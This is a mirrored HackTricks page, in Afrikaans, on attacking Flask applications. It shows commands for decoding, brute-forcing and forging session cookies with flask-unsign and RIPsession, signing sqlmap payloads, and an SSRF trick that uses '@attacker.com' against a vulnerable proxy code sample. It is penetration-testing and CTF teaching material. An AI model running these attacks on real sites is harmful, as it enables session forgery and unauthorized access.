mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
122 lines
5.6 KiB
Markdown
122 lines
5.6 KiB
Markdown
# Flask
|
|
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (512).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
|
Kry Vandaag Toegang:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
**Waarskynlik, as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
|
|
|
|
## Cookies
|
|
|
|
Verstek koekiesessienaam is **`session`**.
|
|
|
|
### Decoder
|
|
|
|
Aanlyn Flask-koekiesontleder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
|
|
|
|
#### Handleiding
|
|
|
|
Kry die eerste deel van die koekie tot by die eerste punt en Base64-ontsleutel dit>
|
|
```bash
|
|
echo "ImhlbGxvIg" | base64 -d
|
|
```
|
|
Die koekie word ook onderteken met 'n wagwoord
|
|
|
|
### **Flask-Unsign**
|
|
|
|
Opdraglynwerktuig om sessiekoekies van 'n Flask-toepassing te haal, ontsluit, kragtig aan te val en te skep deur geheime sleutels te raai.
|
|
|
|
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
|
```bash
|
|
pip3 install flask-unsign
|
|
```
|
|
#### **Dekodeer Koekie**
|
|
```bash
|
|
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
|
|
```
|
|
#### **Brute Force**
|
|
```bash
|
|
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
|
|
```
|
|
#### **Ondertekening**
|
|
```bash
|
|
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
|
|
```
|
|
#### Ondertekening met behulp van ouer weergawes (legasi)
|
|
```bash
|
|
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
|
```
|
|
### **RIPsession**
|
|
|
|
Opdraglynwerktuig om webwerwe te kragtig aan te val deur koekies wat geskep is met flask-unsign.
|
|
|
|
{% embed url="https://github.com/Tagvi/ripsession" %}
|
|
```bash
|
|
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
|
```
|
|
### SQLi in Flask sessie koekie met SQLmap
|
|
|
|
[**Hierdie voorbeeld**](../../pentesting-web/sql-injection/sqlmap/#eval) gebruik sqlmap `eval` opsie om **outomaties sqlmap payloads te teken** vir flask deur 'n bekende geheim te gebruik.
|
|
|
|
## Flask Proksi na SSRF
|
|
|
|
[**In hierdie skryfstuk**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) word verduidelik hoe Flask 'n versoek toelaat wat begin met die karakter "@":
|
|
```http
|
|
GET @/ HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|
|
Watter in die volgende scenario:
|
|
```python
|
|
from flask import Flask
|
|
from requests import get
|
|
|
|
app = Flask('__main__')
|
|
SITE_NAME = 'https://google.com/'
|
|
|
|
@app.route('/', defaults={'path': ''})
|
|
@app.route('/<path:path>')
|
|
def proxy(path):
|
|
return get(f'{SITE_NAME}{path}').content
|
|
|
|
app.run(host='0.0.0.0', port=8080)
|
|
```
|
|
Kan toelaat om iets soos "@attacker.com" in te voer om 'n **SSRF** te veroorsaak.
|
|
|
|
<figure><img src="../../.gitbook/assets/image (512).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
|
Kry Toegang Vandag:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
|
|
|
</details>
|